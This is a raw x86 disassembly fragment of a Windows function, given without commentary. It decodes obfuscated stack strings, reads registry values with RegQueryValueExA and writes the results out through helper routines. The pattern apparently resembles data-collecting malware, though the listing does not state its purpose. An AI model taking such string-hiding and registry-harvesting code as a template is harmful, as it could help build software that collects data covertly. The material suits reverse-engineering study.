mov dword [ebp - 0x2a], 0x87859cb0
mov dword [ebp - 0x26], 0xb5839894
mov dword [ebp - 0x22], 0x9b909d
mov byte [ebp - 0x1e], 1
call fcn.00462020
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x1f18]
push eax
lea eax, [ebp - 0x8c]
push eax
push 0
lea eax, [ebp - 0x2a]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e714
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x44], 0x87859cb0
mov dword [ebp - 0x40], 0xad839894
mov dword [ebp - 0x3c], 0x968d8f99
mov dword [ebp - 0x38], 0x1006f6f
call fcn.00461db0
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x1b18]
push eax
lea eax, [ebp - 0x8c]
push eax
push 0
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e714
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], 0xacd686d1
mov dword [ebp - 0x6c], 0xf6a78add
mov word [ebp - 0x68], 0xf6
mov byte [ebp - 0x66], 1
call fcn.00462200
lea eax, [ebp - 0x1b18]
push eax
lea eax, [ebp - 0x1f18]
push eax
lea eax, [ebp - 0x70]
push eax
push edi
call fcn.00402be0
add esp, 0x10
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x34]
inc esi
test eax, eax
je 0x40e5a0
push dword [ebp - 0x98]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.004e5568
add esp, 4
lea ecx, [ebp - 0xa8]
call fcn.004670b0
lea ecx, [ebp - 0x15c]
call fcn.00402660
lea ecx, [ebp - 0x130]
call fcn.00402660
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 4
call fcn.00402660
sub esp, 0x18
mov byte [ebp - 0x2e], 1
mov esi, esp
lea eax, [ebp - 0x1c8]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00464ec0
mov ecx, esi
call fcn.0040b3e0
mov dl, byte [ebp - 0x2e]
lea ecx, [ebp - 0x174]
add esp, 0x18
call fcn.0040ca10
add esp, 0x18
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x1009783
call fcn.00462230
lea ecx, [ebp - 0x1c8]
call fcn.004027a0
lea ecx, [ebp - 0x7c]
push ecx
push eax
call fcn.004e1ce0
mov esi, eax
add esp, 8
test esi, esi
je 0x40e800
cmp dword [ebp - 0x160], 0x10
lea ecx, [ebp - 0x174]
push esi
push dword [ebp - 0x164]
cmovae ecx, dword [ebp - 0x174]
push 1
push ecx
call fcn.004e9ae8
push esi
call fcn.004e5568
add esp, 0x14
lea ecx, [ebp - 0x174]
call fcn.00402660
lea ecx, [ebp - 0x1c8]
call fcn.00402660
lea ecx, [ebx + 8]
call fcn.00402660
lea ecx, [ebx + 0x20]
call fcn.00402660
lea ecx, [ebx + 0x38]
call fcn.00402660
lea ecx, [ebx + 0x50]
call fcn.00402660
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret